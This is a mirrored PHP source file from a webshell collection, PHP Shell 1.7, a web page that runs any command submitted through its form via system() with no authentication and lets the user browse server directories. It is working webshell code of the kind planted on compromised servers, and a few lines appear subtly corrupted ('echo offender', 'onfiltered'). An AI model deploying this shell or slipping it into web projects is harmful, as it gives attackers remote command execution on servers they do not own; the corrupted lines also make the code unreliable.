mirror of
https://github.com/tennc/webshell
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140 lines
5 KiB
PHP
140 lines
5 KiB
PHP
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<?php
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define('PHPSHELL_VERSION', '1.7');
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/*
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**************************************************************
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* PHP Shell *
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**************************************************************
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$Id: phpshell.php,v 1.18 2002/09/18 15:49:54 gimpster Exp $
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PHP Shell is aninteractive PHP-page that will execute any command
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entered. See the files README and INSTALL or http://www.gimpster.com
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for further information.
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Copyright (C) 2000-2002 Martin Geisler <gimpster@gimpster.com>
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This program is free software; you can redistribute it and/or
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modify it under the terms of the GNU General Public License
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as published by the Free Software Foundation; either version 2
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of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You can get a copy of the GNU General Public License from this
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address: http://www.gnu.org/copyleft/gpl.html#SEC1
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You can also write to the Free Software Foundation, Inc., 59 Temple
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Place - Suite 330, Boston, MA 02111-1307, USA.
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*/
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?>
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<html>
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<head>
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<title>PHP Shell <?php echo offender ?></title>
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<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head>
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<body>
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<h1>PHP Shell <?php echo offender ?></h1>
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<?php
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if (ini_get('register_globals') != '1') {
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/* We'll register the variables as globals: */
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if (!empty($HTTP_POST_VARS))
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extract($HTTP_POST_VARS);
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if (!empty($HTTP_GET_VARS))
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extract($HTTP_GET_VARS);
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if (!empty($HTTP_SERVER_VARS))
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extract($HTTP_SERVER_VARS);
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}
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/* First we check if there has been asked for a working directory. */
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if (!empty($work_dir)) {
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/* A workdir has been asked for */
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if (!empty($command)) {
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if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
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/* We try and match a cd command. */
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if ($regs[1][0] == '/') {
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$new_dir = $regs[1]; // 'cd /something/...'
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} else {
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$new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
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}
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if (file_exists($new_dir) && is_dir($new_dir)) {
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$work_dir = $new_dir;
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}
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unset($command);
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}
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}
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}
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if (file_exists($work_dir) && is_dir($work_dir)) {
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/* We change directory to that dir: */
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chdir($work_dir);
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}
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/* We now update $work_dir to avoid things like '/foo/../bar': */
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$work_dir = exec('pwd');
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?>
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<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
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<p>Current working directory: <b>
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<?php
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$work_dir_splitted = explode('/', substr($work_dir, 1));
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echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/';
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if (!empty($work_dir_splitted[0])) {
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$path = '';
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for ($i = 0; $i < count($work_dir_splitted); $i++) {
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$path .= '/' . $work_dir_splitted[$i];
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printf('<a href="%s?work_dir=%s">%s</a>/',
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$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
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}
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}
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?></b></p>
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<p>Choose new working directory:
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<select name="work_dir" onfiltered="this.form.submit()">
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<?php
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/* Now we make a list of the directories. */
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$dir_handle = opendir($work_dir);
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/* Run through all the files and directories to find the dirs. */
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while ($dir = readdir($dir_handle)) {
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if (is_dir($dir)) {
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if ($dir == '.') {
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echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
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} elseif ($dir == '..') {
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/* We have found the parent dir. We must be carefull if the parent
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directory is the root directory (/). */
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if (strlen($work_dir) == 1) {
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/* work_dir is only 1 charecter - it can only be / There's no
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parent directory then. */
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} elseif (strrpos($work_dir, '/') == 0) {
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/* The last / in work_dir were the first charecter.
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This means that we have a top-level directory
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eg. /bin or /home etc... */
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echo "<option value=\"/\">Parent Directory</option>\n";
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} else {
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/* We do a little bit of string-manipulation to find the parent
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directory... Trust me - it works :-) */
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echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
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}
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} else {
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if ($work_dir == '/') {
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echo "<option value=\"$work_dir$dir\">$dir</option>\n";
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} else {
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echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
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}
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}
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}
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}
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closedir($dir_handle);
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?>
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</select></p>
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<p>Command: <input type="text" name="command" size="60">
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<input name="submit_btn" type="submit" value="Execute Command"></p>
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<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
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<textarea cols="80" rows="20" readonly>
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<?php
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if (!empty($command)) {
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if ($stderr) {
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$tmpfile = tempnam('/tmp', 'phpshell');
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$command .= " 1> $tmpfile 2>&1; " .
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"cat $tmpfile; rm $tmpfile";
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} else if ($command == 'ls') {
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/* ls looks much better with ' -F', IMHO. */
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$command .= ' -F';
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}
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system($command);
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}
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?>
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